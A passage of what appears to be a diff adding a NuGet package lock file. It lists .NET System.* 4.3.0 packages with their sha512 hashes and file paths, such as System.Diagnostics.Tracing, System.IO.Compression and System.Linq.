"ref/netstandard1.0/ko/System.Diagnostics.Debug.xml", + "ref/netstandard1.0/ru/System.Diagnostics.Debug.xml", + "ref/netstandard1.0/zh-hans/System.Diagnostics.Debug.xml", + "ref/netstandard1.0/zh-hant/System.Diagnostics.Debug.xml", + "ref/netstandard1.3/System.Diagnostics.Debug.dll", + "ref/netstandard1.3/System.Diagnostics.Debug.xml", + "ref/netstandard1.3/de/System.Diagnostics.Debug.xml", + "ref/netstandard1.3/es/System.Diagnostics.Debug.xml", + "ref/netstandard1.3/fr/System.Diagnostics.Debug.xml", + "ref/netstandard1.3/it/System.Diagnostics.Debug.xml", + "ref/netstandard1.3/ja/System.Diagnostics.Debug.xml", + "ref/netstandard1.3/ko/System.Diagnostics.Debug.xml", + "ref/netstandard1.3/ru/System.Diagnostics.Debug.xml", + "ref/netstandard1.3/zh-hans/System.Diagnostics.Debug.xml", + "ref/netstandard1.3/zh-hant/System.Diagnostics.Debug.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.diagnostics.debug.4.3.0.nupkg.sha512", + "system.diagnostics.debug.nuspec" + ] + }, + "System.Diagnostics.DiagnosticSource/4.3.0": { + "sha512": "tD6kosZnTAGdrEa0tZSuFyunMbt/5KYDnHdndJYGqZoNy00XVXyACd5d6KnE1YgYv3ne2CjtAfNXo/fwEhnKUA==", + "type": "package", + "path": "system.diagnostics.diagnosticsource/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/net46/System.Diagnostics.DiagnosticSource.dll", + "lib/net46/System.Diagnostics.DiagnosticSource.xml", + "lib/netstandard1.1/System.Diagnostics.DiagnosticSource.dll", + "lib/netstandard1.1/System.Diagnostics.DiagnosticSource.xml", + "lib/netstandard1.3/System.Diagnostics.DiagnosticSource.dll", + "lib/netstandard1.3/System.Diagnostics.DiagnosticSource.xml", + "lib/portable-net45+win8+wpa81/System.Diagnostics.DiagnosticSource.dll", + "lib/portable-net45+win8+wpa81/System.Diagnostics.DiagnosticSource.xml", + "system.diagnostics.diagnosticsource.4.3.0.nupkg.sha512", + "system.diagnostics.diagnosticsource.nuspec" + ] + }, + "System.Diagnostics.Tools/4.3.0": { + "sha512": "UUvkJfSYJMM6x527dJg2VyWPSRqIVB0Z7dbjHst1zmwTXz5CcXSYJFWRpuigfbO1Lf7yfZiIaEUesfnl/g5EyA==", + "type": "package", + "path": "system.diagnostics.tools/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Diagnostics.Tools.dll", + "ref/netcore50/System.Diagnostics.Tools.xml", + "ref/netcore50/de/System.Diagnostics.Tools.xml", + "ref/netcore50/es/System.Diagnostics.Tools.xml", + "ref/netcore50/fr/System.Diagnostics.Tools.xml", + "ref/netcore50/it/System.Diagnostics.Tools.xml", + "ref/netcore50/ja/System.Diagnostics.Tools.xml", + "ref/netcore50/ko/System.Diagnostics.Tools.xml", + "ref/netcore50/ru/System.Diagnostics.Tools.xml", + "ref/netcore50/zh-hans/System.Diagnostics.Tools.xml", + "ref/netcore50/zh-hant/System.Diagnostics.Tools.xml", + "ref/netstandard1.0/System.Diagnostics.Tools.dll", + "ref/netstandard1.0/System.Diagnostics.Tools.xml", + "ref/netstandard1.0/de/System.Diagnostics.Tools.xml", + "ref/netstandard1.0/es/System.Diagnostics.Tools.xml", + "ref/netstandard1.0/fr/System.Diagnostics.Tools.xml", + "ref/netstandard1.0/it/System.Diagnostics.Tools.xml", + "ref/netstandard1.0/ja/System.Diagnostics.Tools.xml", + "ref/netstandard1.0/ko/System.Diagnostics.Tools.xml", + "ref/netstandard1.0/ru/System.Diagnostics.Tools.xml", + "ref/netstandard1.0/zh-hans/System.Diagnostics.Tools.xml", + "ref/netstandard1.0/zh-hant/System.Diagnostics.Tools.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.diagnostics.tools.4.3.0.nupkg.sha512", + "system.diagnostics.tools.nuspec" + ] + }, + "System.Diagnostics.Tracing/4.3.0": { + "sha512": "rswfv0f/Cqkh78rA5S8eN8Neocz234+emGCtTF3lxPY96F+mmmUen6tbn0glN6PMvlKQb9bPAY5e9u7fgPTkKw==", + "type": "package", + "path": "system.diagnostics.tracing/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net462/System.Diagnostics.Tracing.dll", + "lib/portable-net45+win8+wpa81/_._", + "lib/win8/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net462/System.Diagnostics.Tracing.dll", + "ref/netcore50/System.Diagnostics.Tracing.dll", + "ref/netcore50/System.Diagnostics.Tracing.xml", + "ref/netcore50/de/System.Diagnostics.Tracing.xml", + "ref/netcore50/es/System.Diagnostics.Tracing.xml", + "ref/netcore50/fr/System.Diagnostics.Tracing.xml", + "ref/netcore50/it/System.Diagnostics.Tracing.xml", + "ref/netcore50/ja/System.Diagnostics.Tracing.xml", + "ref/netcore50/ko/System.Diagnostics.Tracing.xml", + "ref/netcore50/ru/System.Diagnostics.Tracing.xml", + "ref/netcore50/zh-hans/System.Diagnostics.Tracing.xml", + "ref/netcore50/zh-hant/System.Diagnostics.Tracing.xml", + "ref/netstandard1.1/System.Diagnostics.Tracing.dll", + "ref/netstandard1.1/System.Diagnostics.Tracing.xml", + "ref/netstandard1.1/de/System.Diagnostics.Tracing.xml", + "ref/netstandard1.1/es/System.Diagnostics.Tracing.xml", + "ref/netstandard1.1/fr/System.Diagnostics.Tracing.xml", + "ref/netstandard1.1/it/System.Diagnostics.Tracing.xml", + "ref/netstandard1.1/ja/System.Diagnostics.Tracing.xml", + "ref/netstandard1.1/ko/System.Diagnostics.Tracing.xml", + "ref/netstandard1.1/ru/System.Diagnostics.Tracing.xml", + "ref/netstandard1.1/zh-hans/System.Diagnostics.Tracing.xml", + "ref/netstandard1.1/zh-hant/System.Diagnostics.Tracing.xml", + "ref/netstandard1.2/System.Diagnostics.Tracing.dll", + "ref/netstandard1.2/System.Diagnostics.Tracing.xml", + "ref/netstandard1.2/de/System.Diagnostics.Tracing.xml", + "ref/netstandard1.2/es/System.Diagnostics.Tracing.xml", + "ref/netstandard1.2/fr/System.Diagnostics.Tracing.xml", + "ref/netstandard1.2/it/System.Diagnostics.Tracing.xml", + "ref/netstandard1.2/ja/System.Diagnostics.Tracing.xml", + "ref/netstandard1.2/ko/System.Diagnostics.Tracing.xml", + "ref/netstandard1.2/ru/System.Diagnostics.Tracing.xml", + "ref/netstandard1.2/zh-hans/System.Diagnostics.Tracing.xml", + "ref/netstandard1.2/zh-hant/System.Diagnostics.Tracing.xml", + "ref/netstandard1.3/System.Diagnostics.Tracing.dll", + "ref/netstandard1.3/System.Diagnostics.Tracing.xml", + "ref/netstandard1.3/de/System.Diagnostics.Tracing.xml", + "ref/netstandard1.3/es/System.Diagnostics.Tracing.xml", + "ref/netstandard1.3/fr/System.Diagnostics.Tracing.xml", + "ref/netstandard1.3/it/System.Diagnostics.Tracing.xml", + "ref/netstandard1.3/ja/System.Diagnostics.Tracing.xml", + "ref/netstandard1.3/ko/System.Diagnostics.Tracing.xml", + "ref/netstandard1.3/ru/System.Diagnostics.Tracing.xml", + "ref/netstandard1.3/zh-hans/System.Diagnostics.Tracing.xml", + "ref/netstandard1.3/zh-hant/System.Diagnostics.Tracing.xml", + "ref/netstandard1.5/System.Diagnostics.Tracing.dll", + "ref/netstandard1.5/System.Diagnostics.Tracing.xml", + "ref/netstandard1.5/de/System.Diagnostics.Tracing.xml", + "ref/netstandard1.5/es/System.Diagnostics.Tracing.xml", + "ref/netstandard1.5/fr/System.Diagnostics.Tracing.xml", + "ref/netstandard1.5/it/System.Diagnostics.Tracing.xml", + "ref/netstandard1.5/ja/System.Diagnostics.Tracing.xml", + "ref/netstandard1.5/ko/System.Diagnostics.Tracing.xml", + "ref/netstandard1.5/ru/System.Diagnostics.Tracing.xml", + "ref/netstandard1.5/zh-hans/System.Diagnostics.Tracing.xml", + "ref/netstandard1.5/zh-hant/System.Diagnostics.Tracing.xml", + "ref/portable-net45+win8+wpa81/_._", + "ref/win8/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.diagnostics.tracing.4.3.0.nupkg.sha512", + "system.diagnostics.tracing.nuspec" + ] + }, + "System.Globalization/4.3.0": { + "sha512": "kYdVd2f2PAdFGblzFswE4hkNANJBKRmsfa2X5LG2AcWE1c7/4t0pYae1L8vfZ5xvE2nK/R9JprtToA61OSHWIg==", + "type": "package", + "path": "system.globalization/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Globalization.dll", + "ref/netcore50/System.Globalization.xml", + "ref/netcore50/de/System.Globalization.xml", + "ref/netcore50/es/System.Globalization.xml", + "ref/netcore50/fr/System.Globalization.xml", + "ref/netcore50/it/System.Globalization.xml", + "ref/netcore50/ja/System.Globalization.xml", + "ref/netcore50/ko/System.Globalization.xml", + "ref/netcore50/ru/System.Globalization.xml", + "ref/netcore50/zh-hans/System.Globalization.xml", + "ref/netcore50/zh-hant/System.Globalization.xml", + "ref/netstandard1.0/System.Globalization.dll", + "ref/netstandard1.0/System.Globalization.xml", + "ref/netstandard1.0/de/System.Globalization.xml", + "ref/netstandard1.0/es/System.Globalization.xml", + "ref/netstandard1.0/fr/System.Globalization.xml", + "ref/netstandard1.0/it/System.Globalization.xml", + "ref/netstandard1.0/ja/System.Globalization.xml", + "ref/netstandard1.0/ko/System.Globalization.xml", + "ref/netstandard1.0/ru/System.Globalization.xml", + "ref/netstandard1.0/zh-hans/System.Globalization.xml", + "ref/netstandard1.0/zh-hant/System.Globalization.xml", + "ref/netstandard1.3/System.Globalization.dll", + "ref/netstandard1.3/System.Globalization.xml", + "ref/netstandard1.3/de/System.Globalization.xml", + "ref/netstandard1.3/es/System.Globalization.xml", + "ref/netstandard1.3/fr/System.Globalization.xml", + "ref/netstandard1.3/it/System.Globalization.xml", + "ref/netstandard1.3/ja/System.Globalization.xml", + "ref/netstandard1.3/ko/System.Globalization.xml", + "ref/netstandard1.3/ru/System.Globalization.xml", + "ref/netstandard1.3/zh-hans/System.Globalization.xml", + "ref/netstandard1.3/zh-hant/System.Globalization.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.globalization.4.3.0.nupkg.sha512", + "system.globalization.nuspec" + ] + }, + "System.Globalization.Calendars/4.3.0": { + "sha512": "GUlBtdOWT4LTV3I+9/PJW+56AnnChTaOqqTLFtdmype/L500M2LIyXgmtd9X2P2VOkmJd5c67H5SaC2QcL1bFA==", + "type": "package", + "path": "system.globalization.calendars/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.Globalization.Calendars.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.Globalization.Calendars.dll", + "ref/netstandard1.3/System.Globalization.Calendars.dll", + "ref/netstandard1.3/System.Globalization.Calendars.xml", + "ref/netstandard1.3/de/System.Globalization.Calendars.xml", + "ref/netstandard1.3/es/System.Globalization.Calendars.xml", + "ref/netstandard1.3/fr/System.Globalization.Calendars.xml", + "ref/netstandard1.3/it/System.Globalization.Calendars.xml", + "ref/netstandard1.3/ja/System.Globalization.Calendars.xml", + "ref/netstandard1.3/ko/System.Globalization.Calendars.xml", + "ref/netstandard1.3/ru/System.Globalization.Calendars.xml", + "ref/netstandard1.3/zh-hans/System.Globalization.Calendars.xml", + "ref/netstandard1.3/zh-hant/System.Globalization.Calendars.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.globalization.calendars.4.3.0.nupkg.sha512", + "system.globalization.calendars.nuspec" + ] + }, + "System.IO/4.3.0": { + "sha512": "3qjaHvxQPDpSOYICjUoTsmoq5u6QJAFRUITgeT/4gqkF1bajbSmb1kwSxEA8AHlofqgcKJcM8udgieRNhaJ5Cg==", + "type": "package", + "path": "system.io/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net462/System.IO.dll", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net462/System.IO.dll", + "ref/netcore50/System.IO.dll", + "ref/netcore50/System.IO.xml", + "ref/netcore50/de/System.IO.xml", + "ref/netcore50/es/System.IO.xml", + "ref/netcore50/fr/System.IO.xml", + "ref/netcore50/it/System.IO.xml", + "ref/netcore50/ja/System.IO.xml", + "ref/netcore50/ko/System.IO.xml", + "ref/netcore50/ru/System.IO.xml", + "ref/netcore50/zh-hans/System.IO.xml", + "ref/netcore50/zh-hant/System.IO.xml", + "ref/netstandard1.0/System.IO.dll", + "ref/netstandard1.0/System.IO.xml", + "ref/netstandard1.0/de/System.IO.xml", + "ref/netstandard1.0/es/System.IO.xml", + "ref/netstandard1.0/fr/System.IO.xml", + "ref/netstandard1.0/it/System.IO.xml", + "ref/netstandard1.0/ja/System.IO.xml", + "ref/netstandard1.0/ko/System.IO.xml", + "ref/netstandard1.0/ru/System.IO.xml", + "ref/netstandard1.0/zh-hans/System.IO.xml", + "ref/netstandard1.0/zh-hant/System.IO.xml", + "ref/netstandard1.3/System.IO.dll", + "ref/netstandard1.3/System.IO.xml", + "ref/netstandard1.3/de/System.IO.xml", + "ref/netstandard1.3/es/System.IO.xml", + "ref/netstandard1.3/fr/System.IO.xml", + "ref/netstandard1.3/it/System.IO.xml", + "ref/netstandard1.3/ja/System.IO.xml", + "ref/netstandard1.3/ko/System.IO.xml", + "ref/netstandard1.3/ru/System.IO.xml", + "ref/netstandard1.3/zh-hans/System.IO.xml", + "ref/netstandard1.3/zh-hant/System.IO.xml", + "ref/netstandard1.5/System.IO.dll", + "ref/netstandard1.5/System.IO.xml", + "ref/netstandard1.5/de/System.IO.xml", + "ref/netstandard1.5/es/System.IO.xml", + "ref/netstandard1.5/fr/System.IO.xml", + "ref/netstandard1.5/it/System.IO.xml", + "ref/netstandard1.5/ja/System.IO.xml", + "ref/netstandard1.5/ko/System.IO.xml", + "ref/netstandard1.5/ru/System.IO.xml", + "ref/netstandard1.5/zh-hans/System.IO.xml", + "ref/netstandard1.5/zh-hant/System.IO.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.io.4.3.0.nupkg.sha512", + "system.io.nuspec" + ] + }, + "System.IO.Compression/4.3.0": { + "sha512": "YHndyoiV90iu4iKG115ibkhrG+S3jBm8Ap9OwoUAzO5oPDAWcr0SFwQFm0HjM8WkEZWo0zvLTyLmbvTkW1bXgg==", + "type": "package", + "path": "system.io.compression/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net46/System.IO.Compression.dll", + "lib/portable-net45+win8+wpa81/_._", + "lib/win8/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net46/System.IO.Compression.dll", + "ref/netcore50/System.IO.Compression.dll", + "ref/netcore50/System.IO.Compression.xml", + "ref/netcore50/de/System.IO.Compression.xml", + "ref/netcore50/es/System.IO.Compression.xml", + "ref/netcore50/fr/System.IO.Compression.xml", + "ref/netcore50/it/System.IO.Compression.xml", + "ref/netcore50/ja/System.IO.Compression.xml", + "ref/netcore50/ko/System.IO.Compression.xml", + "ref/netcore50/ru/System.IO.Compression.xml", + "ref/netcore50/zh-hans/System.IO.Compression.xml", + "ref/netcore50/zh-hant/System.IO.Compression.xml", + "ref/netstandard1.1/System.IO.Compression.dll", + "ref/netstandard1.1/System.IO.Compression.xml", + "ref/netstandard1.1/de/System.IO.Compression.xml", + "ref/netstandard1.1/es/System.IO.Compression.xml", + "ref/netstandard1.1/fr/System.IO.Compression.xml", + "ref/netstandard1.1/it/System.IO.Compression.xml", + "ref/netstandard1.1/ja/System.IO.Compression.xml", + "ref/netstandard1.1/ko/System.IO.Compression.xml", + "ref/netstandard1.1/ru/System.IO.Compression.xml", + "ref/netstandard1.1/zh-hans/System.IO.Compression.xml", + "ref/netstandard1.1/zh-hant/System.IO.Compression.xml", + "ref/netstandard1.3/System.IO.Compression.dll", + "ref/netstandard1.3/System.IO.Compression.xml", + "ref/netstandard1.3/de/System.IO.Compression.xml", + "ref/netstandard1.3/es/System.IO.Compression.xml", + "ref/netstandard1.3/fr/System.IO.Compression.xml", + "ref/netstandard1.3/it/System.IO.Compression.xml", + "ref/netstandard1.3/ja/System.IO.Compression.xml", + "ref/netstandard1.3/ko/System.IO.Compression.xml", + "ref/netstandard1.3/ru/System.IO.Compression.xml", + "ref/netstandard1.3/zh-hans/System.IO.Compression.xml", + "ref/netstandard1.3/zh-hant/System.IO.Compression.xml", + "ref/portable-net45+win8+wpa81/_._", + "ref/win8/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/unix/lib/netstandard1.3/System.IO.Compression.dll", + "runtimes/win/lib/net46/System.IO.Compression.dll", + "runtimes/win/lib/netstandard1.3/System.IO.Compression.dll", + "system.io.compression.4.3.0.nupkg.sha512", + "system.io.compression.nuspec" + ] + }, + "System.IO.Compression.ZipFile/4.3.0": { + "sha512": "G4HwjEsgIwy3JFBduZ9quBkAu+eUwjIdJleuNSgmUojbH6O3mlvEIme+GHx/cLlTAPcrnnL7GqvB9pTlWRfhOg==", + "type": "package", + "path": "system.io.compression.zipfile/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.IO.Compression.ZipFile.dll", + "lib/netstandard1.3/System.IO.Compression.ZipFile.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.IO.Compression.ZipFile.dll", + "ref/netstandard1.3/System.IO.Compression.ZipFile.dll", + "ref/netstandard1.3/System.IO.Compression.ZipFile.xml", + "ref/netstandard1.3/de/System.IO.Compression.ZipFile.xml", + "ref/netstandard1.3/es/System.IO.Compression.ZipFile.xml", + "ref/netstandard1.3/fr/System.IO.Compression.ZipFile.xml", + "ref/netstandard1.3/it/System.IO.Compression.ZipFile.xml", + "ref/netstandard1.3/ja/System.IO.Compression.ZipFile.xml", + "ref/netstandard1.3/ko/System.IO.Compression.ZipFile.xml", + "ref/netstandard1.3/ru/System.IO.Compression.ZipFile.xml", + "ref/netstandard1.3/zh-hans/System.IO.Compression.ZipFile.xml", + "ref/netstandard1.3/zh-hant/System.IO.Compression.ZipFile.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.io.compression.zipfile.4.3.0.nupkg.sha512", + "system.io.compression.zipfile.nuspec" + ] + }, + "System.IO.FileSystem/4.3.0": { + "sha512": "3wEMARTnuio+ulnvi+hkRNROYwa1kylvYahhcLk4HSoVdl+xxTFVeVlYOfLwrDPImGls0mDqbMhrza8qnWPTdA==", + "type": "package", + "path": "system.io.filesystem/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.IO.FileSystem.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.IO.FileSystem.dll", + "ref/netstandard1.3/System.IO.FileSystem.dll", + "ref/netstandard1.3/System.IO.FileSystem.xml", + "ref/netstandard1.3/de/System.IO.FileSystem.xml", + "ref/netstandard1.3/es/System.IO.FileSystem.xml", + "ref/netstandard1.3/fr/System.IO.FileSystem.xml", + "ref/netstandard1.3/it/System.IO.FileSystem.xml", + "ref/netstandard1.3/ja/System.IO.FileSystem.xml", + "ref/netstandard1.3/ko/System.IO.FileSystem.xml", + "ref/netstandard1.3/ru/System.IO.FileSystem.xml", + "ref/netstandard1.3/zh-hans/System.IO.FileSystem.xml", + "ref/netstandard1.3/zh-hant/System.IO.FileSystem.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.io.filesystem.4.3.0.nupkg.sha512", + "system.io.filesystem.nuspec" + ] + }, + "System.IO.FileSystem.Primitives/4.3.0": { + "sha512": "6QOb2XFLch7bEc4lIcJH49nJN2HV+OC3fHDgsLVsBVBk3Y4hFAnOBGzJ2lUu7CyDDFo9IBWkSsnbkT6IBwwiMw==", + "type": "package", + "path": "system.io.filesystem.primitives/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.IO.FileSystem.Primitives.dll", + "lib/netstandard1.3/System.IO.FileSystem.Primitives.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.IO.FileSystem.Primitives.dll", + "ref/netstandard1.3/System.IO.FileSystem.Primitives.dll", + "ref/netstandard1.3/System.IO.FileSystem.Primitives.xml", + "ref/netstandard1.3/de/System.IO.FileSystem.Primitives.xml", + "ref/netstandard1.3/es/System.IO.FileSystem.Primitives.xml", + "ref/netstandard1.3/fr/System.IO.FileSystem.Primitives.xml", + "ref/netstandard1.3/it/System.IO.FileSystem.Primitives.xml", + "ref/netstandard1.3/ja/System.IO.FileSystem.Primitives.xml", + "ref/netstandard1.3/ko/System.IO.FileSystem.Primitives.xml", + "ref/netstandard1.3/ru/System.IO.FileSystem.Primitives.xml", + "ref/netstandard1.3/zh-hans/System.IO.FileSystem.Primitives.xml", + "ref/netstandard1.3/zh-hant/System.IO.FileSystem.Primitives.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.io.filesystem.primitives.4.3.0.nupkg.sha512", + "system.io.filesystem.primitives.nuspec" + ] + }, + "System.Linq/4.3.0": { + "sha512": "5DbqIUpsDp0dFftytzuMmc0oeMdQwjcP/EWxsksIz/w1TcFRkZ3yKKz0PqiYFMmEwPSWw+qNVqD7PJ889JzHbw==", + "type": "package", + "path": "system.linq/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net463/System.Linq.dll", + "lib/netcore50/System.Linq.dll", + "lib/netstandard1.6/System.Linq.dll", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net463/System.Linq.dll", + "ref/netcore50/System.Linq.dll", + "ref/netcore50/System.Linq.xml", + "ref/netcore50/de/System.Linq.xml", + "ref/netcore50/es/System.Linq.xml", + "ref/netcore50/fr/System.Linq.xml", + "ref/netcore50/it/System.Linq.xml", + "ref/netcore50/ja/System.Linq.xml", + "ref/netcore50/ko/System.Linq.xml", + "ref/netcore50/ru/System.Linq.xml", + "ref/netcore50/zh-hans/System.Linq.xml", + "ref/netcore50/zh-hant/System.Linq.xml", + "ref/netstandard1.0/System.Linq.dll", + "ref/netstandard1.0/System.Linq.xml", + "ref/netstandard1.0/de/System.Linq.xml", + "ref/netstandard1.0/es/System.Linq.xml", + "ref/netstandard1.0/fr/System.Linq.xml", + "ref/netstandard1.0/it/System.Linq.xml", + "ref/netstandard1.0/ja/System.Linq.xml", + "ref/netstandard1.0/ko/System.Linq.xml", + "ref/netstandard1.0/ru/System.Linq.xml", + "ref/netstandard1.0/zh-hans/System.Linq.xml", + "ref/netstandard1.0/zh-hant/System.Linq.xml", + "ref/netstandard1.6/System.Linq.dll", + "ref/netstandard1.6/System.Linq.xml", + "ref/netstandard1.6/de/System.Linq.xml", + "ref/netstandard1.6/es/System.Linq.xml", + "ref/netstandard1.6/fr/System.Linq.xml", + "ref/netstandard1.6/it/System.Linq.xml", + "ref/netstandard1.6/ja/System.Linq.xml", + "ref/netstandard1.6/ko/System.Linq.xml", + "ref/netstandard1.6/ru/System.Linq.xml", + "ref/netstandard1.6/zh-hans/System.Linq.xml", + "ref/netstandard1.6/zh-hant/System.Linq.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.linq.4.3.0.nupkg.sha512", + "system.linq.nuspec" + ] + }, + "System.Linq.Expressions/4.3.0": { + "sha512": "PGKkrd2khG4CnlyJwxwwaWWiSiWFNBGlgXvJpeO0xCXrZ89ODrQ6tjEWS/kOqZ8GwEOUATtKtzp1eRgmYNfclg==", + "type": "package", + "path": "system.linq.expressions/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net463/System.Linq.Expressions.dll", + "lib/netcore50/System.Linq.Expressions.dll", + "lib/netstandard1.6/System.Linq.Expressions.dll", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net463/System.Linq.Expressions.dll", + "ref/netcore50/System.Linq.Expressions.dll", + "ref/netcore50/System.Linq.Expressions.xml", + "ref/netcore50/de/System.Linq.Expressions.xml", + "ref/netcore50/es/System.Linq.Expressions.xml", + "ref/netcore50/fr/System.Linq.Expressions.xml", + "ref/netcore50/it/System.Linq.Expressions.xml", + "ref/netcore50/ja/System.Linq.Expressions.xml", + 